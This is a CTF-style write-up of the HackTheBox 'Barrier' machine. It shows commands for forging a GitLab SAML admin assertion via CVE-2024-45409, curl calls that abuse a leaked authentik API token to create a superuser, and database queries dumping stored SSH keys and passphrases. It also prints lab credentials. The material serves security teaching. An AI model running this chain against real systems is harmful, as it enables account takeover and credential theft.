> For the complete documentation index, see [llms.txt](https://0xyogesh.gitbook.io/exploitnotes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xyogesh.gitbook.io/exploitnotes/writeups/hackthebox/barrier-writeup.md). Agents can also search and read this documentation through its [MCP server](https://0xyogesh.gitbook.io/exploitnotes/~gitbook/mcp).

# Barrier Writeup

## Summary

Barrier is a Linux machine built around a GitLab CE instance federated to an authentik SSO provider, with Apache Guacamole sitting behind the same SSO. Initial access starts with a low-privilege GitLab user, whose password is leaked in a project's commit history. That same SAML flow is then attacked with **CVE-2024-45409**, a Ruby-SAML signature wrapping vulnerability, allowing a forged SAML assertion to authenticate to GitLab as the built-in admin (`akadmin`) without knowing its credentials. Pivoting into authentik itself (the actual identity provider) via a leaked API token escalates further: an authentik admin API call is abused to create a fully privileged superuser account directly. From there, impersonating an existing low-privilege user grants a Guacamole RDP/SSH session, exposing stored SSH private keys for two Linux accounts in the Guacamole database. One key lands a foothold as `maki`; a leftover unlinked `.bash_history` then reveals a password reused for `sudo su`, leading to root.

## Recon

```plaintext
nmap -sC -sV -A <MACHINE-IP> -oA nmap
```

| Port   | Service                                                               |
| ------ | --------------------------------------------------------------------- |
| 22     | OpenSSH 8.9p1 (Ubuntu)                                                |
| 80/443 | nginx, redirects to `gitlab.barrier.vl` (GitLab CE, SAML SSO enabled) |
| 8080   | Apache Tomcat 9.0.58 — hosting `/guacamole/`                          |
| 9000   | authentik (Golang net/http backend)                                   |

Adding `barrier.vl` and `gitlab.barrier.vl` to `/etc/hosts` resolves the redirect properly.

Tomcat's default page exposes links to `/manager/html` and `/host-manager/html`, both returning `401 Unauthorized` — no usable default credentials found there; this was a dead end.

## Foothold: Leaked Credentials in GitLab Commit History

GitLab self-registration is gated behind admin approval, so a fresh signup is immediately blocked ("pending approval"). Clicking **Explore** while unauthenticated reveals a public project: `satoru/gitconnect`.

Reviewing its commit history shows two commits to `gitconnect.py`. The older commit introduces a script that authenticates to the GitLab API using hardcoded credentials:

```python
auth_data = {
    'grant_type': 'password',
    'username': 'satoru',
    'password': 'dGJ2V72SUEMsM3Ca'
}
```

The newer commit redacts the password to `***`, but the plaintext value remains visible in the diff history. Logging into GitLab as `satoru` with this password succeeds.

## SSO Reconnaissance and CVE-2024-45409

GitLab's login page offers a "Single Sign On" button, backed by authentik on port 9000. Authenticating to authentik as `satoru` with the same password confirms password reuse and exposes two SSO-linked applications: **Gitlab** and **Guacamole**.

Intercepting the SSO callback in Burp shows the SAML POST hitting `/users/auth/saml/callback` with a `SAMLResponse` parameter, accompanied by a browser warning about submitting data over an insecure HTTP channel. Decoding the `SAMLResponse` through URL decoding, Base64 decoding, and raw inflation gives the underlying signed XML, including the assertion's `NameID` (`satoru`) and authentik's self-signed signing certificate.

This GitLab instance runs version **17.3.2**, which sits in the affected range for **CVE-2024-45409**. The Ruby-SAML flaw fails to properly validate the SAML signature scope. Given one validly signed SAML document from the IdP, an attacker can construct a forged assertion claiming to be any user, including a GitLab admin, provided the administrator's username is known.

To confirm a target username exists before forging an assertion, generate a personal access token from the `satoru` account:

{% stepper %}
{% step %}

## Open access token settings

Click the profile picture, then select **Edit profile**.
{% endstep %}

{% step %}

## Create a token

Open **Access Tokens** and select **Add new token**.
{% endstep %}

{% step %}

## Configure the token

Give the token a name, set an expiration date, select all available scopes, and click **Create personal access token**.
{% endstep %}
{% endstepper %}

Use the token to enumerate GitLab users:

```plaintext
curl -sk -H "Authorization: Bearer glpat-rCzMYKcGsnd4yAcKh5dw" \
  https://gitlab.barrier.vl/api/v4/users?per_page=100 | jq
```

```json
[
  {
    "id": 2,
    "username": "satoru",
    "name": "satoru",
    "state": "active",
    "web_url": "https://gitlab.barrier.vl/satoru"
  },
  {
    "id": 1,
    "username": "akadmin",
    "name": "akadmin",
    "state": "active",
    "web_url": "https://gitlab.barrier.vl/akadmin"
  }
]
```

This confirms that an active `akadmin` account exists. User ID 1 is typically GitLab's default built-in administrator, making it the target for the forged assertion.

Using the [Synacktiv PoC](https://github.com/synacktiv/CVE-2024-45409):

```plaintext
python3 cve-2024-45409.py -r saml.xml -n akadmin -e -o evil.xml
```

The captured legitimate SAML response is saved as `saml.xml`, and the tool patches it to assert identity as `akadmin`. Intercepting a fresh SSO login attempt in Burp and replacing the `SAMLResponse` body with the Base64/URL-encoded contents of `evil.xml` authenticates the session as `akadmin`, granting full GitLab administrator access without knowing the real password.

## Escalating via the Authentik API

As GitLab admin, the **CI/CD → Variables** admin settings page reveals a leftover `AUTHENTIK_TOKEN` CI/CD variable. This credential authenticates against authentik's API rather than GitLab.

Verify the token against authentik's documented API at [api.goauthentik.io](https://api.goauthentik.io/), using the [admin version endpoint](https://api.goauthentik.io/reference/admin-version-retrieve/):

```plaintext
curl -s -L "http://gitlab.barrier.vl:9000/api/v3/admin/version/" \
  -H "Authorization: Bearer <TOKEN>" -H "Accept: application/json" | jq
```

```json
{
  "version_current": "2024.10.5",
  "version_latest": "0.0.0",
  "version_latest_valid": false,
  "build_hash": "",
  "outdated": false,
  "outpost_outdated": false
}
```

This confirms a valid, privileged authentik API token for authentik 2024.10.5.

Use the token to identify applications fronted by authentik:

```plaintext
curl -s -L "http://gitlab.barrier.vl:9000/api/v3/core/applications/" \
  -H "Authorization: Bearer <TOKEN>" -H "Accept: application/json" | jq
```

This returns two configured SAML applications: `Gitlab` and `Guacamole`.

{% stepper %}
{% step %}

## Enumerate users

```plaintext
curl -s -L "http://gitlab.barrier.vl:9000/api/v3/core/users/" \
  -H "Authorization: Bearer <TOKEN>" -H "Accept: application/json" | jq
```

This reveals the accounts `akadmin`, `satoru`, and `maki`.
{% endstep %}

{% step %}

## Create a new user

Attempt to set `is_superuser: true` directly in the request body:

```plaintext
curl -s -L "http://gitlab.barrier.vl:9000/api/v3/core/users/" \
  -H "Authorization: Bearer <TOKEN>" -H "Content-Type: application/json" \
  --data-raw '{"username": "evil", "name": "evil", "is_superuser": true}' | jq
```

```json
{
  "pk": 36,
  "username": "evil",
  "name": "evil",
  "is_active": true,
  "is_superuser": false,
  ...
}
```

The API silently ignores `is_superuser` on creation, so privilege must be granted another way.
{% endstep %}

{% step %}

## Set the new user's password

```plaintext
curl -v -L "http://gitlab.barrier.vl:9000/api/v3/core/users/36/set_password/" \
  -H "Authorization: Bearer <TOKEN>" -H "Content-Type: application/json" \
  -d '{"password": "pass123"}'
```

The endpoint returns `HTTP/1.1 204 No Content`.
{% endstep %}

{% step %}

## Enumerate groups

```plaintext
curl -s -L "http://gitlab.barrier.vl:9000/api/v3/core/groups/" \
  -H "Authorization: Bearer <TOKEN>" -H "Content-Type: application/json" | jq
```

This identifies the built-in `authentik Admins` group, which has `"is_superuser": true` and currently contains only `akadmin`.
{% endstep %}

{% step %}

## Add the new user to the superuser group

```plaintext
curl -v -L "http://gitlab.barrier.vl:9000/api/v3/core/groups/a38fb983-8b71-4bf2-b5a7-42ab9fdd58e8/add_user/" \
  -H "Authorization: Bearer <TOKEN>" -H "Content-Type: application/json" \
  -d '{"pk": 36}'
```

The endpoint returns `HTTP/1.1 204 No Content`, indicating the user was added to the superuser group.
{% endstep %}
{% endstepper %}

Logging into authentik as `evil` / `pass123` grants the full **Admin interface**, confirming superuser access to the identity provider.

## Pivoting via Guacamole Impersonation

From the authentik admin panel under **Identity → Users**, users can be impersonated. Impersonate `maki`, then launch the **Guacamole** application from the application library. This opens an active Guacamole connection named **Maintenance**, landing directly in an SSH session as `maki`:

```plaintext
id
uid=1001(maki) gid=1001(maki) groups=1001(maki)
```

The user flag is available at `/home/maki/user.txt`.

To get a stable shell, copy `maki`'s SSH key pair from `~/.ssh/` and use it directly. A normal SSH attempt fails because the server only offers `ssh-rsa` as its host key type. Modern OpenSSH clients disable this SHA-1-based algorithm by default.

Re-enable the algorithm for this connection:

```plaintext
ssh -oHostKeyAlgorithms=+ssh-rsa -i id_ed25519 maki@barrier.vl
```

## Database Pivot: Guacamole-Stored Credentials

Locate Guacamole's configuration:

```plaintext
find / -type d -name 'guacamole' 2>/dev/null
cat /etc/guacamole/guacamole.properties
```

This reveals plaintext MySQL credentials for Guacamole's backing database: `guac_user` / `guac2024`.

Connect to the database:

```plaintext
mysql -h 127.0.0.1 -u guac_user -pguac2024 guac_db
```

List tables:

```plaintext
show tables;
```

```plaintext
+---------------------------------------+
| Tables_in_guac_db                     |
+---------------------------------------+
| guacamole_connection                  |
| guacamole_connection_attribute        |
| guacamole_connection_group            |
| ...                                   |
| guacamole_connection_parameter        |
| guacamole_user                        |
| ...                                   |
+---------------------------------------+
23 rows in set
```

Query stored connections:

```plaintext
select * from guacamole_connection;
```

```plaintext
+---------------+-----------------+-----------+----------+
| connection_id | connection_name | parent_id | protocol |
+---------------+-----------------+-----------+----------+
|             1 | Maintenance     |      NULL | ssh      |
|             2 | Maki_Adm        |      NULL | ssh      |
+---------------+-----------------+-----------+----------+
2 rows in set
```

This confirms two stored SSH connections: **Maintenance** and **Maki\_Adm**.

Retrieve credentials for the first connection:

```plaintext
select * from guacamole_connection_parameter where connection_id=1 \G
```

```plaintext
*************************** 1. row ***************************
  connection_id: 1
 parameter_name: hostname
parameter_value: localhost
*************************** 2. row ***************************
  connection_id: 1
 parameter_name: port
parameter_value: 22
*************************** 3. row ***************************
  connection_id: 1
 parameter_name: private-key
parameter_value: -----BEGIN OPENSSH PRIVATE KEY-----
<snip>
-----END OPENSSH PRIVATE KEY-----
*************************** 4. row ***************************
  connection_id: 1
 parameter_name: username
parameter_value: maki
4 rows in set
```

Retrieve credentials for the second connection:

```plaintext
select * from guacamole_connection_parameter where connection_id=2 \G
```

```plaintext
*************************** 1. row ***************************
  connection_id: 2
 parameter_name: hostname
parameter_value: localhost
*************************** 2. row ***************************
  connection_id: 2
 parameter_name: passphrase
parameter_value: 3V32FN6oViMPxyzC
*************************** 3. row ***************************
  connection_id: 2
 parameter_name: port
parameter_value: 22
*************************** 4. row ***************************
  connection_id: 2
 parameter_name: private-key
parameter_value: -----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,641356448A934274F5411C859C1FE00F

<snip>
-----END RSA PRIVATE KEY-----
*************************** 5. row ***************************
  connection_id: 2
 parameter_name: username
parameter_value: maki_adm
5 rows in set
```

Connection 2 provides an encrypted RSA private key, its decryption passphrase (`3V32FN6oViMPxyzC`), and the target username `maki_adm`.

Use the recovered key:

```plaintext
ssh -oHostKeyAlgorithms=+ssh-rsa -i maki_adm_key maki_adm@barrier.vl
```

This provides a shell as `maki_adm`, a member of the `admin` group.

## Privilege Escalation to Root

`sudo -l` requires a password and initial attempts fail. However, `maki_adm`'s `.bash_history` is a real readable file, unlike `maki`'s history file which is symlinked to `/dev/null`.

```plaintext
cat .bash_history
sudo su
Va4kSjgTHSd55ZLv
```

The recovered password works directly for `sudo su`:

```plaintext
sudo su
whoami
root
cat /root/root.txt
```

## Flags

* **User flag (maki):** `HTB{REDACTED}`
* **Root flag:** `HTB{REDACTED}`

## Attack Chain

{% stepper %}
{% step %}

## Reconnaissance

Recon reveals GitLab CE on ports 80/443, Apache Tomcat on port 8080 hosting Guacamole, and authentik SSO on port 9000.
{% endstep %}

{% step %}

## Identify a dead end

GitLab self-registration is blocked pending administrator approval.
{% endstep %}

{% step %}

## Recover GitLab credentials

Explore GitLab while unauthenticated, find the public `satoru/gitconnect` project, and recover a plaintext password from an earlier commit despite a later redaction commit.
{% endstep %}

{% step %}

## Authenticate as `satoru`

Log into GitLab and authentik as `satoru` through password reuse.
{% endstep %}

{% step %}

## Capture a SAML response

Capture a legitimate SAML response from the GitLab and authentik SSO flow using Burp.
{% endstep %}

{% step %}

## Confirm the administrator target

Generate a personal access token as `satoru` and enumerate GitLab users through the API, confirming an active `akadmin` administrator account.
{% endstep %}

{% step %}

## Forge an administrator assertion

Exploit **CVE-2024-45409** through Ruby-SAML signature wrapping to forge a SAML assertion for `akadmin`, then authenticate to GitLab as administrator without the password.
{% endstep %}

{% step %}

## Recover the authentik API token

As GitLab administrator, find a leaked `AUTHENTIK_TOKEN` in CI/CD variables.
{% endstep %}

{% step %}

## Escalate in authentik

Use the authentik REST API to create a user, set its password through the administrator endpoint, and add it to the `authentik Admins` group.
{% endstep %}

{% step %}

## Pivot through Guacamole

Impersonate `maki` from the authentik administrator panel and launch Guacamole, landing in an SSH session as `maki` and retrieving the user flag.
{% endstep %}

{% step %}

## Recover Guacamole credentials

Recover Guacamole's MySQL credentials from `/etc/guacamole/guacamole.properties`, then query the database for stored connection credentials to retrieve an encrypted RSA key and passphrase for `maki_adm`.
{% endstep %}

{% step %}

## Access `maki_adm`

SSH as `maki_adm` using the recovered key.
{% endstep %}

{% step %}

## Escalate to root

Read `maki_adm`'s un-symlinked `.bash_history`, recover a plaintext password used for `sudo su`, and become root.
{% endstep %}
{% endstepper %}

## Key Vulnerabilities

| Vulnerability                         | Description                                                                                                                                                                                                  |
| ------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| Secrets in version control            | GitLab project commit history retained a plaintext password even after a later commit redacted it in the latest revision.                                                                                    |
| CVE-2024-45409 (Ruby-SAML)            | Improper SAML signature validation scope allows forging an assertion for any username, including administrator, given one validly signed sample document from the IdP.                                       |
| Insecure SSO transport                | SAML callback submitted over plaintext HTTP, enabling trivial interception or replay of the assertion through a proxy.                                                                                       |
| Leaked privileged API token           | An `AUTHENTIK_TOKEN` with full authentik admin API access was stored as a GitLab CI/CD variable, reachable by any GitLab administrator.                                                                      |
| Authentik API privilege escalation    | Authentik's user and group management API allowed creating a user and granting superuser group membership entirely through API calls, with no UI confirmation step.                                          |
| Plaintext credentials in Guacamole DB | Guacamole stores connection parameters, including private keys and passphrases, in its backing MySQL database in cleartext, retrievable with Guacamole database credentials found in `guacamole.properties`. |
| Sensitive shell history left readable | `maki_adm`'s `.bash_history`, unlike other accounts, was a real file rather than a symlink to `/dev/null` and contained a plaintext `sudo` password.                                                         |
